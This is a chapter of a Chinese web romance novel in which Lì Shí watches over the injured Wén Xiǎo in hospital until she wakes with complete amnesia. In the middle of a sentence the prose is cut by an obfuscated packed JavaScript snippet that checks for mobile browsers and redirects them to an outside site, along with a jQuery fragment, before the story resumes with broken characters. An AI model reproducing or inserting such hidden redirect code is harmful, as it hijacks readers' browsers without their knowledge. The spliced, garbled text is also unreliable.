68. 失忆程度100%

日影偏西,医院的白炽灯亮起。


黎时斜靠在沙发上,摘掉眼镜闭目养神,争分夺秒处理完工作,一晃盯着电脑十个小时了。可她还没有回来。


上次见他戴眼镜,闻晓嘲笑他:“我记得你不近视啊,该不会是上年纪,眼睛老花了?”


黎时板着脸,“又胡说。”


闻晓揉揉他脑袋,像哄小孩那样,“好好好,不老不老,等我回来给你带好吃的。”


“什么好吃的?”


“你想吃什么?”


黎时抓住闻晓的手腕,将她收进怀里,“可以为我下厨吗,很久没吃炒饭了。”


闻晓趴在他胸口画圈圈,“好吧,那我们一起吃晚饭。”


黎时饥肠辘辘,迟迟不见她的身影。


手机拿起又放下,闻晓说得有道理,两个人相处的确需要适当的空间。可转念他找了个充分的理由:热恋期,黏人是正常的。


快速拨出她的号码。


一遍又一遍,无人接听。


黎时的面色随着时间推移逐渐结冰,他按熄手机屏幕,随手扔在旁边茶几上。这次说什么也不会轻易原谅她。


他回到床上侧身躺下。


房间门被打开,来人脚步匆匆,黎时嘴角悄悄上扬,身影纹丝不动,他发誓他是真的很生气。


身边人语气焦急,“他在休息。”


背影动了动,语调含糊,“唔,几点了?”


“终于醒了。”


“怎么是你?”


黎时翻身坐起,“工作没安排清楚?”


谢谦挂了电话,“不是!你先起来。”


黎时还穿着病号服,他想换衣服,却牵扯着伤口隐隐作痛,“去哪儿?刚刚是许梦的电话?跟她说我不空。”


谢谦抠抠额头,一把抓住黎时,“跟许梦没有关系,但你别着急,听我慢慢说……”


黎时挣开他,“有话就说。”


谢谦神色严肃,“闻晓出事了。”


……


景源告诉黎时:“我和警察赶到时,秦家父子不在现场,秦母在卧室里躲着,说是什么都不知道。”


黎时小心翼翼握着闻晓的手心,额头上伤口已经缝合,脑袋被纱布一圈圈缠住。他和她一样,脸色惨白无血色。


许梦在旁补充:“医生说没有生命危险。”


黎时目不斜视,“知道了,你们回去休息,我守着她就行。”


景源不肯离开,“姐姐醒来会找我的。”


许梦叹了口气,“我们几个换着来吧,我先去拿她的换洗衣服。黎时,注意你自己的伤。景源,明天我再过来。”


景源点点头,“好的,梦梦姐。”


景源没有黎时的电话,她在医院急得团团转,幸好许梦的电话打来,知道对方是姐姐最信任的朋友,便将调查院长的事情一一告知。


闻晓去找秦父之前,把所有证据拷贝给景源,让她去派出所找队长。


景源看到触目惊心的证据,连忙劝说:“他们一家人对你充满敌意,姐姐别去了。”


闻晓说:“可是证据不够完整,我希望把秦父身后的人一网打尽,最好的结果就是让他去自首。别怕,如果下午六点等不到我的消息,到这个地方来救我。”


队长接到消息立即出警。


还是来晚一步。


谢谦和队长的消息同时送到,黎时跟疯了一样,几通电话打到警局高层,“找到他们,活要见人,死要见尸。”


安排好后续的事情,黎时坐在床边,听不进任何人的话,他直直看着闻晓,强烈的恐惧和愤怒交织着——如此重要的安排,她完完全全将他排除在外。


他的低气压笼罩整个病房,景源站在对面犹豫着不敢搭话,可她根本静不下心,一会儿倒水,一会儿削苹果,一会儿看看检测仪器。


窸窸窣窣的声音吵到黎时。


他拧眉问:“你是……”


景源吓了跳,“姐夫,我叫圆圆。”


黎时眼底闪过一丝悔意,这个称呼让他心里好受些,“福利院的妹妹?”


景源无意识地点点头。


黎时的语气缓和下来,“有事要麻烦你。”


他报上郑姨的号码,“这是姐姐的家人,告诉他们别担心。”


支走景源,黎时没忍住,悄声哭出来。


……


景源和许梦轮流照顾,连番劝走郑姨和周益,孙寻带着女儿来看望,小茉莉被黎时的冰块脸吓哭,许梦给了好多糖才哄好。


小茉莉含着泪问:“晓晓姨姨生病了吗?”


孙寻抱起茉莉,“姨姨只是睡着了。”


许梦递上纸巾,“茉莉下次来,姨姨就醒了。”


孙寻擦擦女儿圆乎乎的脸蛋,“那我们先回去了,有什么事给我打电话。”


许梦送走她们回到病房,黎时仍然纹丝不动坐在床边,她走过去伸手在他眼前晃晃,“请问您是石化了吗?”


“将来对闻晓的孩子,你也这么没耐心?”


黎时如梦初醒,“你说什么?”


许梦问:“三天了,你想死在她跟前?”


黎时:“……”


黎时恋恋不舍放下闻晓的手,声音嘶哑得可怕,“我没事。”


景源提起水壶,“喝点水吧。”


黎时“嗯”了声。


许梦终于抢到位置,用热毛巾给闻晓擦擦脸,擦到一半眼睛发酸,上次见面活蹦乱跳的,几天不见就躺在医院昏迷不醒。


她只想指着闻晓骂:“为什么非要抓着过去的事情不放,难道现在的生活不好吗?”


许梦扔了毛巾,“闻晓,你真自私!”


她起身跑出去了。


景源好奇:“梦梦姐怎么了?”


黎时往外看了一眼,“去看看她。”


景源追出去。


黎时拿了个干净的杯子,用棉棒沾着温开水,轻轻抹到闻晓的嘴唇上,“晓晓,醒来跟我说说话。”


他抓着医生问过很多次,即使再三听到放心的回答,不安的感觉还是重重压在心口,挥之不去。


“晓晓,吃不吃雪糕?”


“晓晓,我买了小蛋糕。”


“晓晓,大家都很担心你。”


谁在哭?


谁在唠叨?


“吵死了……”


闻晓的视线渐渐清晰,有个影子在她眼前晃动,是人是鬼?是鬼也没关系,她正好问问妈妈和院长在哪里。


所以她也变成鬼了。


可是为什么灵魂也会痛?


闻晓回答不了,一阵剧烈的疼痛传来,脑袋好像要炸了,她的意识缓缓转醒,看清眼前影子,有呼吸和心跳,是个活人。


他在拼命说话,但她一个字也听不懂。


黎时喊来医生,许梦和景源听到动静,齐齐冲进病房,闻晓被护士架起来,茫然地盯着旁边摆弄她的人。


许梦挤过去,“感觉怎么样?”


闻晓神色呆滞,分不清是谁在跟她说话。


许梦转头去问黎时,“情况如何?”


黎时的目光紧跟闻晓,她看着是醒了,可是状态不佳,好半天都没说话,主治医生检查结束说:“没有骨裂和淤血,轻微脑震荡,人醒来就没事


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586344|158921||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


了,再量一□□温。”


护士报告:“体温正常。”


医生问:“有没有眩晕的感觉?”


闻晓指指脑袋,黎时替她回答:“目前没有眩晕呕吐的情况,但是她伤口很痛。”


“痛是正常的,用冰袋轻敷患处。”


医生边说边打开电筒,再仔细检查了遍,他伸出手指,“这是几根手指?大声说出来。”


闻晓清了清嗓子,“三。”


只是声音有些哑,听到闻晓正常说话,黎时放下心来,问了医生一些注意事项,起身送医生护士出门。


“你真是吓死人。”许梦忍不住埋怨。


“姐姐饿了吧?”景源站在床尾问。


闻晓看看许梦,再看看景源,“什么意思?”


许梦作势要打她,“正常点,少给我装怪!”


闻晓直接躲开许梦,黎时正好回来,笑着坐到床边,“还有力气打闹,看来没问题了,有两个人要来看看你。”


瞧见闻晓眉心轻蹙,黎时牵起她的手说:“老俞的身体不好,看到你没事他就走。妈妈说煲汤送过来,或者你想要什么可以告诉她。”


闻晓挣脱开他,眼神里多了些疑惑,黎时以为提及老俞让她不高兴了,以温柔得能掐出水的声音继续哄:“不要生气好不好?”


许梦起一身鸡皮疙瘩,拉起景源要躲出去。


景源挣扎着喊:“先问问他们吃什么。”


许梦拽着景源,“不吃了,有情饮水饱!”


黎时跟着笑笑,这个许梦越来越有眼力见,他站起来倒水,“先喝点水润润。”


闻晓点点头,“谢谢。”


黎时收起笑容,“你说什么?”


闻晓偏头看着他,“你哪位啊?”


黎时浑身一僵,动作戛然而止。


“咚——”


保温杯掉在地上,开水缓缓流出。


……


“这到底怎么回事?”许梦抓狂。


“姐姐说不认识我!”景源急哭。


“别说你了,连他也不认识!”谢谦瞄了眼旁边沉默的黎时。


谢谦处理完事情赶来,听到的好消息变成坏消息:闻晓又失忆了,不但忘记自己名字,就连身边所有人都不记得。


医生被问得一头雾水,以他的临床经验来看,一般患者会出现暂时的记忆模糊,像这样完全丧失记忆的还没遇到过。


许梦抓着医生,“之前她脑袋受过伤,记忆丢失了一段时间,会不会跟旧伤有关?”


谢谦补充说:“对,最近才刚刚恢复记忆,是不是新伤和旧伤同时影响?”


医生思忖几秒,“有这种可能性。”


谢谦追问:“多久能恢复?”


医生为难,“这个不好说。”


许梦在走廊走来走去,当着医生的面就说:“黎时,快想想办法,这个医生不行,再找几个医生来看看!”


医生不可思议看向许梦。


谢谦赶紧打圆场,几句好话送走医生,提醒许梦:“怎么说话呢!你别着急,说不定她睡一觉就想起来了。”


许梦听不进去,冲到黎时面前,“如果她想不起来怎么办,同样的事情再重来一次吗?”


黎时静静坐在椅子上。


许梦急得一跺脚,“你说话呀!”


他低垂着眼帘,眼神和情绪藏匿起来。


半晌,黎时站起身,目光悠悠,越过长长的走廊和医院的钢筋水泥,看到床上的女孩,她睡得很香甜。


他只说:“没关系,重来多少次都没关系,我只要她好好的,平平安安的。”